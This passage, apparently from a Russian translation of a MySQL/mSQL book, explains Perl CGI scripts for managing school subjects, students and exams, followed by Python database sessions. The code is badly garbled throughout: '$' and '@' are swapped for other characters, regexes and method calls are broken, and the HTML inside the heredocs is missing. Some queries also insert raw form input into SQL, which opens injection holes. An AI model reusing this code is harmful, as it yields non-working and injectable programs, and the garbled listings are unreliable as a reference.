  • Выводить найденный предмет.

  • Добавлять в базу данных новый предмет.

  • Изменять параметры предмета в базе данных.

    Используя мощь Perl и mSQL, можно без труда объединить все эти функции в одном файле, subject.cgi. Для каждой из операций мы создадим свою функцию. Центральной частью программы будет своего рода коммутатор, распределяющий поступающие запросы по соответствующим функциям. Сами операции мы опишем позднее.

    #Выбор нужной части сценария осуществляется в зависимости

    # от параметра 'action'.

    # Если 'action' не задан, вызывается функция defaultQ.

    &default if not param('action');

    # Этот прием из Camel 2 имитирует переключатель 'switch' в языке С. foreach[A04] (param('action')) {

    /view/ and do { Sview; last; };
    /add$/ and do { &add; last; };
    /add2/ and do { Sadd2; last; };
    /add3/ and do { &add3; last; };
    /add4/ and do { &add4; last; };
    /schange$/ and do { &schange; last; };
    /schange2/ and do { &schange2; last; };

    /lchange$/ and do { &lchange; last; };

    /Ichange2/ and do { &lchange2; last; };

    /IchangeS/ and do { &lchange3; last; };

    /delete/ and do { Sdelete; last; };

    &default; }

    Msql.pmПункты "add", "schange" и "Ichange" должны иметь завершающий "$", чтобы не быть спутанными со сходными. Если бы не было "$", то "add" соответствовал бы также add2, add3 и add4. Альтернативный прием - поместить "add", "schange" и "Ichange" после всех остальных функций, чтобы вызываться при отсутствии совпадений с предыдущими пунктами. Однако если впоследствии добавятся другие пункты, могут возникнуть ошибки. Третий способ - полностью устранить неоднозначность, используя /^view$/, /*add$/ и т. д. При этом придется ввести несколько больше символов, но возможность ошибки будет полностью устранена.

    Остается лишь проработать детали, реализовав каждую функцию.

    Функция default выводит исходную форму, которую видит пользователь, позволяющую ему выбрать тип операции. Эта функция вызывается, если CGI-программа вызывается без параметров, например, как http://www.myserver.com/teach/subject.cgi, или если параметр ACTION не соответствует ни одной из существующих функций. Можно было бы также создать функцию, выводящую сообщение об ошибке, если параметр ACTION неизвестен.

    sub default {

    print header, start_html('title'=>'Subjects', 'BGCOLOR'=>'white'):

    print "END_OF_HTML;

    Предметы



    <р>Выберите операцию и предмет (если это допустимо).








    END_OF_HTML

    # См. ниже 'sub print_subjects'.

    &print_subjects;

    print "END_OF_HTML;









    HTML

    }

    Основных операций пять: "view" (просмотр), "add" (добавление), "schange" (изменение данных о предмете), "Ichange" ( изменить список классов по предмету) и "delete" (удалить). Например, мы подробно рассмотрим операцию "add". Она разбита на четыре отдельные функции, потому что диалог с пользователем приходится проводить до четырех раз. Для передачи данных от одной формы к другой используются скрытые переменные, пока, в конце концов, не будет создан класс.

    Первая функция порождает форму для ввода начальных сведений о классе, в том числе его названия, имени учителя и количества учащихся.

    sub add {

    my (%fields);

    foreach ('name','size','teacher') {

    if (param($_)) { $fields{$_} = param($_); } else { $fields{$_} = ""; } }

    print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');

    print "END_OF_HTML;

    Add a Subject



    Название предмета:



    Фамилия учителя:



    Число учащихся в классе:















    Перейти назад к главной странице предметов.

    <А HREF=". ">Перейти к домашней странице Помощи учителю.




    END_OF_HTHL

    }

    Функция проверяет, не имеют ли какие-либо поля предустановленные значения. Это придает функции дополнительную гибкость, позволяя использовать ее как шаблон для классов со значениями по умолчанию, возможно, генерируемыми какой-либо другой CGI-программой.

    Значения, полученные в первой части процесса добавления, передаются обратно CGI-программе для использования в функции add2. Функция add2 сначала проверяет, существует ли уже класс. Если существует, то пользователю посылается сообщение об ошибке, и он может изменить название класса.

    Если класс еще не существует, функция проверяет, какое число учащихся введено. Если никакое, то класс создается без учащихся, их можно добавить позднее. Если нее число задано, создается класс и выводится форма, в которую можно ввести данные о каждом учащемся.

    sub add2 {

    my $name = param('name');

    # Нам нужна копия имени, которая кодируется для URL.

    my $enc_name = &cgi_encode($name);

    # Нам также нужна копия имени, которую можно спокойно цитировать для

    # ввода в базу. Msql использует с этой целью функцию Msql::quote().

    my $query_name = $dbh->quote($name);

    # Строим запрос для проверки существования предмета,

    my $query ="select id, name, teacher from subject where name=$query_name";

    #Если пользователь ввел фамилию учителя, отдельно проверяем фамилию,

    # поскольку могут быть два курса с одинаковым названием, но

    # разными учителями.

    if (param('teacher')) {

    $teacher = param('teacher');

    $enc_teacher = &cgi_encode($teacher);

    my $query_teacher = $dbh->quote($teacher);

    $query .= " and teacher=$query_teacher"; }

    # Теперь посылаем запрос серверу mSQL

    my $out = $dbh->query($query);

    ft Проверяем значение $out->numrows, чтобы узнать, были ли возвращены

    # какие-либо строки. Если были, и пользователь не задал параметр 'override'

    # (переопределить), то мы выходим с сообщением, что класс уже

    # существует, и давая пользователю возможность все-таки ввести класс


    # (повторно передав форму с установленным параметром 'override',

    if ($out->numrows and not param('override')) { # Печать страницы 'Класс уже существует'.

    } else {

    # Теперь вводим данные в базу.

    # Сначала нужно выбрать новое число из

    # последовательности для таблицы.

    $out = $dbh->query("select _seq from subject");

    my ($id) = $out->fetchrow;

    # Теперь вводим информацию в базу данных, используя

    # полученное из последовательности число в качестве ID.

    $query = "INSERT INTO subject (id, name, teacher)

    VALUES ($id, '$name', 'Steacher')"; $dbh->query($query);

    # Если пользователь не задал размер класса, выходим

    # с сообщением о том, что пользователь может добавить

    # число учащихся позже, if (not param('size')) {

    # Вывод страницы с сообщением об успехе.

    } else { \

    # Теперь выводим форму, позволяющую пользователю

    # ввести имена всех учащихся в классе.

    print header, start_html('title'=>'Create Class List',

    'BGCOLOR'=>'white'); print <
    <Н1>Создать список класса

    $name

    добавлен в базу данных. Теперь можно ввести фамилии учащихся в этом классе. Добавить или исключить учащихся можно позднее с главной страницы предметов

    <а href="subject.cgi"> .

    <Р>







  • Пoля
    $fields[$field]$types[$field]";

    print $length[$field]

    if $types[$field] eq 'SQL_CHAR';

    print "
    ";

    print 'Y' if ($not_null[$field]);

    print "


    <ТР><ТН><ТН>Имя<ТН>Отчество/Инициал

    <ТН>Фамилия<ТН>мл.,ст.,III,и т.д.



    END_OF_'HTML

    for $i (1.,$size) {

    print <



    END_OF_HTML

    }

    print <







    END_OF_HTML

    } } }

    Обратите внимание, что функция использовала три копии параметра name. Для использования в составе URL все специальные символы должны быть заменены особым образом. Для этого в коде примера используется функция cgi_encode . Кроме того, чтобы ввести строку в базу данных mSQL, вместо некоторых символов нужно использовать управляющие символы. Интерфейс MsqlPerl предоставляет для этого функцию quote, доступную через любой описатель базы данных. Наконец, при выводе на экран используется непреобразованный вариант переменной.

    При добавлении класса в базу данных удобно использовать такую функцию mSQL, как последовательности. Вспомним, что в таблице class была определена последовательность. Ее значения используются в качестве уникального идентификатора для каждого класса. Благодаря этому два класса могут иметь одинаковые названия (или одного и того же учителя и т. д.) и все же быть различными. Это также окажется удобным при дальнейших изменениях в классе. Пока между формами передается уникальный ID, все прочие данные о классе можно свободно изменять.

    Наконец, отметим, что выводимая этой функцией форма для ввода учащихся генерируется динамически. Для вывода формы с правильным числом записей используется введенное раньше число учащихся. Помните, что CGI-программа полностью управляет генерируемым HTML. Любая часть, включая формы, может быть создана программным образом.

    Если пользователь не ввел никаких учащихся, то работа на этом закончена. Позднее для добавления учащихся можно воспользоваться функцией модификации. Однако если требуется ввести учащихся, данные о них передаются функции add3, как показано ниже:

    sub add3 {

    if (not param('id')) { &end("Требуется числовой ID"); }

    my $id = param( 'id');

    my ©list = &find_last_student;


    my ($ref_students,$ref_notstudents) = &find_matching_students(@list);

    @students = @$ref_students

    if $ref_students;

    @notstudents = @$ref_notstudents

    if $ref_notstudents;

    if (@notstudents) {

    # Вывести форму, говорящую пользователю, что в списке

    # есть несуществующие учащиеся. Пользователь может автоматически

    # создать учащихся или вернуться и исправить опечатки.

    } else {

    &update_students($id,@students);

    #Вывести форму успешного завершения работы.

    } }

    В этой функции основная часть работы выполняется другими функциями. Это обусловлено тем, что в других частях CGI-программы возникают сходные задачи, которые полезно решать с помощью совместно используемых функций. Первая такая функция - f ind_last_student , которая изучает данные формы и возвращает список имеющихся в форме номеров, не связанных с ID в базе данных, всех введенных пользователем учащихся. Это необходимо, поскольку, как упоминалось раньше, предыдущая форма генерируется динамически и нет возможности непосредственно узнать, сколько учащихся включено.

    sub find_last_student {

    my @params = param; my @list = (); foreach (@params) {

    next if not param($_);

    # Исключить все 'пустые' поля

    if (/-(first|middle|last|ext)(\d+)/) {

    my $num = $2;

    if (not grep(/"$num$/,@list)) { push(@list,$num); } } }

    @list = sort { $a <=> $b} @list; return @list;

    }

    Обратите внимание, что функция возвращает все числа, а не только последнее, которое, предположительно, будет числом введенных учащихся. Хотя предыдущая форма вывела число запрошенных пользователем записей, нет гарантии, что пользователь заполнил их все. Он мог пропустить строку, которая не будет включена в данные формы. Поэтому необходимо выявить все введенные числа. Результаты работы этой функции пересылаются следующей вспомогательной функции find_matching_students , как показано ниже:

    sub find_matching_students { my §list = @_;

    my ($i,@students,@notstudents); §students = ();

    @notstudents = ();

    if (@list) {


    foreach $i (@list) {

    my @query = ();

    # Строим запрос, который ищет заданного учащегося,

    my $query = "select id, subjects from student where ";

    foreach ('first','middle','last', 'ext') {

    if (param("$_$i")) {

    my $temp = param("$_$i");

    # В mSQL и MySQL одиночные кавычки служат ограничителями

    # имен полей, и им должен предшествовать

    # управляющий символ "\",

    # который управляет и сам собой,

    # чтобы быть введенным буквально.

    $temp =~ s/7\\'/g;

    push(@query, "$_ = '$temp'"); } }

    $query = join(" and ",§query);

    # Посылаем запрос базе данных.

    my $out = $dbh->query($query);

    # Если база данных ничего не возвращает, добавляем

    # учащегося к массиву @notstudents.

    if (not $out->numrows) {

    push(@notstudents, [ param("first$i"), param("middle$i"), param("last$i"), param("ext$i") ]);

    # В противном случае добавляем студента в массив ©students.

    } else {

    my ($id,$subjects) = $out->fetchrow;

    push(@students,[$id,$subjects]); } } }

    return(\§students,\@notstudents); }

    Эта функция пробегает по всем заданным именам учащихся и проверяет, есть ли уже они в базе данных. Если они существуют, данные о них записываются в массив с именем ©students , в противном случае - в массив @notstudents . Данные о каждом учащемся хранятся в безымянном массиве, создавая своего рода объект учащегося. В итоге функция возвращает ссылки на оба массива. Она не может возвратить данные как обычный массив, поскольку будет невозможно определить, где закончился один массив и начался другой.

    И последняя вспомогательная функция - update_students , которая добавляет класс к списку классов для каждого существующего учащегося.

    sub update_students {

    my $id = shift;

    my ©students = @_;

    foreach (©students) {

    my($sid, $subjects)=©$_;

    if (not Ssubjects) { Ssubjects = ":$id:"; }

    elsif (Ssubjects !" /:$id:/)

    { Ssubjects .= "$id:"; }


    my $query = "update sti/dent set subjects='Ssubjects'

    where id=$id";

    $dbh->query($query); } }

    Эта функция осуществляет запрос к таблице student, совершенно независимой от таблицы subject. В пределах одной CGI-программы можно работать с любым числом различных таблиц одной базы данных. Можно переключаться с одной базы данных на другую, но одновременно может быть активна только одна база данных. Эта функция извлекает список предметов для каждого учащегося и добавляет к нему новый предмет, если его еще нет в списке.

    Функция обрабатывает все возможные случаи, кроме одного, когда к предмету приписаны учащиеся, которых еще нет в таблице student. В этом случае список новых учащихся передается функции add4, как показано ниже:

    sub add4 {

    #получить список ©students и @notstudents

    &update_students($id,@students) if @students;

    &insert_students($id,@notstudents) if @notstudents;

    # Вывести страницу успешного завершения. }

    Эта функция разделяет список учащихся на существующих и несуществующих тем же способом, что и add3. Затем она обновляет список существующих учащихся с помощью функции update_students , показанной раньше. Несуществующие учащиеся посылаются новой вспомогательной функции insert_students :

    sub insert_students { foreach $i (@list) {

    # Производится выбор очередного числа из последовательности,

    # определенной в таблице. Зто число используется как ID учащегося,

    my $out = $dbh->query('select _seq from student');

    my($sid) = $out->fetchrow;

    # Для включения в базу данных все строки

    # нужно процитировать.

    my ($first, $middle, $last, $ext) = (

    $dbh->quote(param("first$i")),

    $dbh->quote(param("middle$i")),

    $dbh->quote(param("last$i")),

    $dbh->quote(param("ext$i")) );

    my $query = "insert into student (id, first, middle, last,

    ext, subjects) VALUES ($sid, $first, $middle,

    $last, $ext, ':$id:')";

    $dbh->query($query); } }

    И эта функция обращается к таблице student, а не subject. Из последовательности, определенной в таблице student, извлекаются ID для новых учащихся, затем учащиеся вводятся в таблицу с этими ID.



    MysqIPerl

    Монти Видениус, автор MySQL, написал также и интерфейс Perl к MySQL, Mysql.pm. Он основывался на модуле Msql.pm для mSQL, поэтому интерфейсы двух модулей почти идентичны. На практике мы недавно преобразовали целый сайт из mSQL в MySQL, выполнив команду "perl -e 's/^Msql/Mysql/>> *.cgi" в каждом каталоге, содержащем CGI. Это составило 95% всей работы. Разумеется, при этом вы не получаете преимуществ MySQL, но таким путем можно быстро и легко встать на путь использования MySQL. Mysql.pm входит составной частью в пакет msql-mysql-modules Йохена Видмана (Jochen Wiedmann).

    MysqIPerlОдним из самых больших различий между MySQL и mSQL является их работа с последовательностями. В mSQL последовательность определяется в таблице командой CREATE SEQUENCE on tablename . Значение последовательности можно получать после этого, как обычное поле таблицы командой SELECT _se.q from tablename . В MySQL к первичному ключу добавляется флаг AU-TO_INCREMENT . При попытке ввода null в это поле оно автоматически инкрементируется. Как MySQL, так и mSQL допускают в каждой таблице только одну последовательность. Подробное обсуждение последовательностей в MySQL и mSQL см. в главе 6 "Диалект SQL, используемый в MySQL и mSQL".

    Чтобы показать некоторые функции Mysql.pm, вернемся к примеру с экзаменами. Разобравшись с subject.cgi, займемся таблицей сведений об учащихся. Ее структура такова:

    CREATE TABLE student (

    id INT NOT NULL auto_increment,

    first VARCHAR(50),

    middle VARCHAR(50),

    last VARCHAR(50),

    ext VARCHAR(50),

    subjects VARCHAR(100),

    age INT,

    sex INT,

    address BLOB,

    city VARCHAR(50),

    state VARCHAR(5),

    zip VARCHAR(10),

    phone VARCHAR(10),

    PRIMARY KEY (id)
    )

    В этой таблице находятся все данные, используемые программой subject, cgi, a также другие сведения, которые относятся к учащемуся. Программа student.cgi, работающая с этой таблицей, должна выполнять все те функции, которые программа subject.cgi выполняла в отношении таблицы subject.

    MysqIPerlНельзя работать с базой данных mSQL через модуль Mysql.pm, как и с базой MySQL через Msql.pm. Программа stu-dent.cgi предполагает, что таблица предметов находится в базе данных MySQL. Аналогично, программа subject.cgi рассчитывает на mSQL-версию таблицы учащихся.


    Чтобы продемонстрировать, как работает Mysql.pm, мы подробно изучим ту часть student.cgi, которая позволяет пользователю изменять сведения об учащемся. Так же как операция "add" (добавление) в примере для Msql.pm была разбита на четыре отдельные функции, операция "change" (изменение) разбита здесь на три отдельные функции.

    Первая функция - изменения, выводит форму, позволяющую пользователю найти учащегося, данные о котором нужно изменить:

    sub change {

    print header, start_html('title'=>'Поиск учащегося для изменения денных'

    'BGCOLOR'=>'white');

    &print_form('search2', Поиск учащегося для изменения данных',1);

    print <











    END_OF_HTML }

    Форма, используемая для поиска учащегося с целью изменения, настолько сходна с формами для просмотра данных и для добавления, что во всех трех случаях используется одна функция, print_form , показанная ниже:

    sub print_form {

    my ($action,$message,$any) = @_;

    print <




    $message



    END_OF_HTML

    if ($any) {

    print <Поиск

    выбранные вами.

    END_OF_HTML

    У

    print <
    Имя:



    Отчество:



    Фамилия:



    МЛ./III/И т.д..:



    Адрес:




    Город:



    Штат:



    Почтовый индекс:



    Телефон:



    Возраст:



    Пол:





    Записан на:

    END_OF_HTML

    &print_subjects("MULTIPLE SIZE=5");

    }

    Благодаря использованию трех параметров эта функция настраивает шаблон формы так, что может использоваться в самых различных целях. Обратите внимание, что эта вспомогательная функция использует другую вспомогательную функцию, print_subjects . Последняя выводит список всех имеющихся предметов из таблицы subject, как в примере Msql.pm.

    sub print_subjects { my $modifier = "";

    $modifier = shift if @_;

    print qq%\n";

    }

    Параметры поиска, введенные в первую форму, передаются функции search2, фактически осуществляющей поиск. На самом деле это функция, написанная для поиска учащегося, данные о котором нужно показать. Поскольку она делает как раз то, что нам требуется, мы можем ею воспользоваться, если сообщим ей, что после поиска хотим перейти

    к следующей функции изменения, change2. Для этого мы ввели в форму скрытую переменную subaction=change2 . Она сообщает search2, куда отправить пользователя дальше:

    sub search2 {

    my $out = $dbh->query(&make_search_query);


    my $hits = $out->numrows;

    my $subaction = "view";

    $subaction = param('subaction')

    if param('subaction');

    print header, start_html('title'=>'Результаты поиска учащихся', 'BGCOLOR'=>'white');

    if (not Shits) {

    print <
    <Н1>Учащихся не найдено



    He найдено учащихся, удовлетворяющих вашему критерию.

    END_OF_HTML } else {

    print <

    Найдено $hits учащихся

    <р>



    END_OF_HTML

    while(my(%fields)=$out->fetchhash) {

    print qq%


  • $fields{'first'} $fields{'middle'} $fields{'last'}%;

    print ", $fields{'ext'}" if $fields{'ext'};

    print "\n
    "; } }

    print <
    HcKaTb снова.



    END_OF_HTML }

    С помощью функции make_search_query эта функция сначала ищет учащихся, отвечающих критериям поиска. Затем она выводит список найденных записей, среди которых пользователь может сделать выбор. ID выбранной записи передается функции change2, как показано ниже:

    sub change2 {

    my $out = $dbh->query

    ("select * from student where id=$id");

    my($did,Ifirst,$middle,$last,

    $ext,Ssubjects.Sage,$sex,$address,

    $city,$state,$zip,$phone) = $out->fetch row;

    my ©subjects = split(/:/,$subjects);

    shift,©subjects;

    my $name = "$first $tmiddle $last";

    if ($ext) { $name .= ", $ext"; }

    print header, start_html('title'=>"$name", 'BGCOLOR'=>'white');

    print <

    $name









    Имя:




    Отчество:



    Фамилия:



    МЛ./III/И т.д.



    Адрес:



    Город:



    Штат:



    Почтовый индекс:



    Телефон:




    Возраст:



    Пол:

    END_OF_HTML

    my %sexes = ( '1' => 'Мужской',

    '2' => 'Женский' );

    print popup_menu('name'=>'Пол', 'values'=>["!', '2'], 'default'=>"$sex", ' labels'=>\%sexes);

    print <
    Записан на:


    END_OF_HTML

    my @ids = ();

    my %subjects = ();

    my $out2 = $dbh->query("select id, name from subject order by name");

    while(my($id,$subject)=$out2->fetchrow) { push(@ids,Sid);

    $subjects{"$id"} = $subject; }

    print scrolling_list('name'=>'subjects', 'values'=>[@ids], 'default'=>[@subjects], 'size'=>5, 'multiple'=>'true', 'labels'=>\%subjects);

    print <
    <р>









    END_OF_HTML

    }

    Главная задача этой функции - вывести форму, очень похожую на ту, которую порождает print^from. Однако значениями по умолчанию в этой форме должны быть те, которые соответствуют выбранному учащемуся. В результате пользователь может редактировать одни поля, оставляя другие неизменными.


    Несколько функций, предоставляемых модулем CGI.pm, оказываются очень удобными при выводе формы со значениями, установленными по умолчанию, особенно функция CGI: :scrolling_list , выводящая блок HTML Предмет: END_OF_HTML
    my @ids = (); my %subjects = ();

    my $out2 = $dbh->prepare("select id,name from subject order by name" $out2->execute;

    # DBI: :fetchrow_array() совершенно аналогична Msql: :fetchrow()
    while(my($id,$subject)=$out2->fetchrow_array) {
    push(@ids,Sid); $subjects{"$id"} = Ssubject; }

    print popup_menu('name'=>'subjects', 'values'=>[@ids], 'default'=>$subject, 'labels'=>\%subjects);
    print <
    Число вопросов:
    Название или идентификатор (например, дата) экзамена:


    <Р>




    END_OF_HTML }

    Эта функция выводит форму, позволяющую пользователю выбрать предмет для экзамена, а также количество вопросов и название. Для вывода списка имеющихся предметов выполняется запрос к таблице предметов. При выполнении в DBI запроса SELECT он должен быть сначала подготовлен, а затем выполнен. Функция DBI::prepare полезна при работе с некоторыми серверами баз данных, позволяющими осуществить операции над подготовленными запросами, прежде чем выполнить их. Для MySQL и mSQL это означает лишь запоминание запроса до вызова функции DBI:: execute .


    Результаты работы этой функции посылаются функции add2, как по-: казано ниже:

    sub add2 {

    my Ssubject = param('subjects');

    [

    my $num = param('num');

    $name = param('name') if param('name');

    my $out = $dbl"prepare("select name from subject where id=$subject");

    $out->execute;

    my (Ssubname) = $out->fetchrow_a.rray;

    print header, start_html('title'=>"Создание экзамена по предмету $subname", ' BGCOLOR'=>'white');

    print <

    Создание экзамена по предмету $subname

    $name















    Введите количество баллов за каждый правильный ответ.

    Сумма баллов не обязательно должна равняться 100.

    <Р> END_OF_HTML

    for (1..$num) {

    print qq%$_: %; if (not.$_ % 5)
    { print "
    \n"; } } print <


    Введите текст экзамена:





    END_OF_HTML }

    Эта функция динамически генерирует форму для экзамена, основываясь на параметрах, введенных в предыдущей форме. Пользователь может ввести количество баллов для каждого вопроса экзамена и полный текст самого экзамена. Выходные данные этой функции посылаются завершающей функции add3, как показано ниже:

    sub add3 {

    my $subject = para'm( 'subjects');
    my $num = param('num');

    $name = param('name') if param('name');

    my $qname;

    ($qname = $name) =" s/'/\\'/g;

    my $q1 = "insert into test (id, name, subject, num) values ( '.'-, '$qname', $subject, $num)";


    my Sin = $dbh->prepare($q1); $in->execute;

    # Извлечем значение ID , которое MySQL создал для нас
    my $id = $in->insertid;

    my $query = "create table t$id ( id INT NOT NULL,

    my $def = "insert into t$id values ( 0, ";

    my $total = 0;

    my @qs = grep(/^q\d+$/,param);

    foreach (@qs) {

    $query .= $_ . " INT,\n";

    my $value = 0;

    $value = param($_) if param($_);

    $def .= "lvalue, ";

    $total += $value; }

    $query .= "total INT\n)"; $def .=-"$total)";

    my $in2 = $dbh->prepare($query);

    $in2->execute;

    my $in3 = $dbh->prepare($def);

    $in3->execute;

    # Обратите внимание, что мы запоминаем экзамены в отдельных файлах. Это

    # полезно при работе с mSQL, поскольку он не поддерживает BLOB.
    # (Тип TEXT, поддерживаемый в mSQL 2, можно использовать,

    # но это неэффективно.)

    # Поскольку мы используем MySQL, можно с таким же успехом

    # поместить весь экзамен в BLOB.
    open(TEST,">teach/tests/$id") or die("A: $id $!");
    print TEST param('test'), "\n";

    close TEST;

    print header, start_html('title'=>'Экзамен создан', 'BGCOLOR'=>'white');

    print < <Н1>Экзамен создан

    Экзамен создан.

    <р>

    <А HREF=".">Перейти на домашнюю страницу 'В помощь учителю'.

    <А HREF="test.cgi">nepeimi на главную страницу экзаменов.

    <А HREF="test.cgi?actio,n=add">Добавить следующий экзамен.



    END_OF_HTML

    }

    Теперь введем информацию об экзамене в базу данных. При этом мы шагнем дальше обычного ввода данных, который видели до сих пор. Данные по экзаменам достаточно сложны, поэтому каждый экзамен лучше хранить в собственной таблице. Вместо добавления данных в существующую таблицу мы создадим совершенно новую таблицу для каждого экзамена. Сначала мы создадим ID для нового экзамена с помощью функции автоинкрементирования MySQL и введем название и ID экзамена в таблицу с именем test. Эта таблица является просто указателем на экзамены, по ней можно легко найти ID любого экзамена. Затем мы создадим одновременно два запроса. Первый будет запросом CREATE TABLE, который определит наш новый экзамен. Второй запрос будет иметь тип INSERT и запишет в нашу таблицу максимальные баллы по каждому вопросу. Эти запросы будут отправлены серверу базы данных, что завершит весь процесс (после вывода пользователю страницы с сообщением об успешном завершении). Позднее, после сдачи экзамена учащимися, для каждого учащегося будет создана запись в таблице экзамена. Эти записи могут быть сравнены с максимальными значениями для определения оценки учащегося.



    Динамическое соединение с базами данных

    Тот метод API, который мы до сих пор обсуждали в этой главе, дает, в сущности, все необходимое для простых и наиболее часто встречающихся повседневных задач выборки, вставки, обновления и удаления данных в базе. В некоторых более сложных приложениях может оказаться, что вы ничего (или чего-нибудь) не знаете о базе данных, с которой соединяетесь и которой посылаете команды. Хотя оба API поддерживают метаданные уровня базы данных - информацию времени выполнения о базе данных, с которой соединены, - только MySQL API обеспечивает полную поддержку динамически генерируемых вызовов SQL, включая метаданные результирующего набора.

    Описатели команд в MySQL

    Как уже отмечалось, в MySQL есть два средства обработки запросов. Более простая форма возвращает результирующий набор в виде списка списков. Более сложная форма возвращает описатель команды.

    Описатель команды представляет результаты обработки запроса к MySQL через метод query() (в противоположность использованию метода do()). Пример 11-2 показывает, как можно использовать описатель команды для получения информации времени выполнения о запросе или команде обновления.

    Пример 11-2. Динамический доступ к базе данных MySQL с помощью описателя команды

    [7:20pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on- sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL,con.nect();

    >>> db.selectdb('db_test-);

    >>> result - db.query("INSERT INTO test(test_id,test_val) VALUES(4,

    'Bing!')");

    >>> print result.affectedrows();

    1

    >>> result = db.query("SELECT * FROM test");

    >>> print result. numrows();

    3

    >>> print result.fields();

    [['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string',

    100, "]]

    >>> print result, fetchrows(-l);

    [[1, 'This is a test.'], [2, 'This is a test.'], [4. 'Bing!']]

    >>>

    В дополнение к результирующему набору запроса можно с помощью описателя команды получить число строк, затронутых операциями обновления, вставки или удаления. В примере 11-2 мы получили количество строк, возвращенных запросом, и подробные сведения о колонках, представленных в результирующем наборе.


    Из новых методов, появившихся в примере 11-2, только fetchrows() не является самоочевидным. Этот метод получает очередную группу строк в количестве, определяемом переданным ему параметром. Иными словами, при вызове result. fetchrows(2) возвращается список, состоящий из очередных двух строк. Метод возвращает список, состоящий из всех строк, если ему передан параметр, меньший 0 — как в данном примере. Сочетая этот метод с обращением к seek(), можно перемещаться по результирующему набору. Метод seek() принимает целочисленный параметр, указывающий на строку, с которой вы хотите работать, при этом 0 указывает на первую строку.

    Метаданные базы данных

    Хотя только MySQL API поддерживает динамическое управление результирующим набором (по крайней мере, на момент данной публикации), оба API поддерживают метаданные базы данных с помощью почти идентичных наборов методов. Метаданные базы данных представляют собой информацию о соединении с базой данных. В примере 11-3 приведена сессия Python, заставляющая соединения с MySQL и mSQL рассказать о себе.

    Пример 11-3. Данные

    [7:56pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL, MySQL;

    >>> msql = mSQL.connect();

    >>> mysql = MySQL.connect();

    >>> print msql.listdbs();

    ['db_test', 'db_web']

    >>> print mysql.listdbs();

    [['dbjest'], ['mysql'], ['test']]

    >>> msql.selectdb('db_test');

    >>> mysql.selectdb('db_test');

    >>> print msql. listtables();

    ['test', 'hosts']

    >>> print mysql.listtables();

    [['test']]

    >>> print msql.serverinfo;

    2.0.1

    >>> print mysql.serverinfo();

    3.21.17a-beta-log

    >>> print mysql.clientinfo();

    MySQL-Python-1.1

    >>> print msql.hostname;

    None

    >>> print mysql.hostinfo();

    Localhost via UNIX socket

    >>> print mysql.stat();

    Uptime: 4868410 Running threads: 1 Questions: 174 Reloads: 4 Open tables: 4

    >>> print mysql.listprocesses();

    None

    >>>

    В этом примере долгая серия обращений к методам обеспечивает вывод расширенной информации о соединениях с базами данных. В ряде случаев mSQL предоставляет эту информацию через неизменяемые атрибуты, а не методы. MySQL API предоставляет значительно больше сведений, чем mSQL. Обратитесь к справочному разделу части III "Справочник" за полным описанием этих методов и атрибутов.

    Если вы пишете много программ

    Python

    Если вы пишете много программ на Perl, но не знакомы с Python, вам определенно следует познакомиться с ним. Python является объектно-ориентированным языком сценариев, сочетающим мощь таких языков, как Perl и Tсl, с понятным синтаксисом, что позволяет создавать приложения, которые легко поддерживать и развивать. Отличное введение в программирование на Python дается в книге Марка Лутца (Mark Lutz) и Дэвида Эшера (David Asher) "Learning Python", изданной O'Reilly & Associates, Inc. В данной главе предполагается наличие у читателя знакомства с основами языка Python, включая умение добавлять новые модули к начальной инсталляции Python.

    Поддержка баз данных MySQL и mSQL со стороны Python, которая является предметом данной главы, осуществляется посредством двух модулей Python. В момент публикации данной книги модуль для mSQL был доступен на http://www.python.org, а для MySQL - на http://www.mysql.com. Хотя есть несколько других модулей, обеспечивающих приложениям Python доступ к MySQL и mSQL, они, как и эти два, являются, в основном, вариациями на тему С API для MySQL и mSQL. Для доступа к выбранной вами базе данных и выполнения примеров этой главы необходимо установить один или оба этих модуля.

    Оба API практически одинаковы, поэтому мы будем рассказывать сразу об обоих, оговаривая.места, где между ними есть различия.



    Основы подключения к базам данных

    API для Python являются, вероятно, самыми простыми API для работы с базами данных из всех, встречающихся в этой книге. Как и для других API, начать нужно с подключения к базам данных — установления соединения. Поскольку Python имеет интерактивный интерфейс, продемонстрировать соединение проще всего с помощью интерпретатора командной строки. Ниже показаны две сессии Python, демонстрирующие простое соединение с базами данных MySQL и mSQL соответственно. В первом примере производится соединение с базой данных MySQL:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL.connect( 'athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.do('select test_val from test where test_id = 1');

    >>> print result;

    [['This is a MySQL test.']]

    >>>

    Код для mSQL, делающий то же самое, выглядит почти идентично:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL;

    >>> db = mSQL.connect('athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.query('select test_val from test where test_id = 1');

    >>> print result;

    [('This is a mSQL test.',)]

    >>>

    В обоих случаях прежде всего нужно импортировать соответствующий модуль Python. He следует использовать синтаксис mSQL import *, так как он засорит пространство имен вашего приложения. Вместо этого в каждом модуле следует получить экземпляр описателя базы данных с помощью метода connect() и использовать этот описатель для доступа к базе данных.

    Вызов connect() в обоих API схож, но не одинаков. В приведенном примере подключения к MySQL мы подключаемся к базе данных, для которой разрешен глобальный доступ. Поскольку в этом случае не требуется указания имени пользователя или пароля, вызов connect() для сессии MySQL выглядит так же, как для сессии mSQL. Однако вы можете задать имя пользователя и пароль, если того требует ваша база данных MySQL. Например, db = MySQL.connect( 'athens. imaginary.com', 'myuid', 'password'); подключит вас к серверу MySQL на athens.imagi-nary.com в качестве "myuid" с паролем "password". Тот и другой API не требуют имени узла при локальном подключении. В этом случае они достаточно сообразительны и для более быстрого соединения используют сокет домена Unix (на Unix-системах).


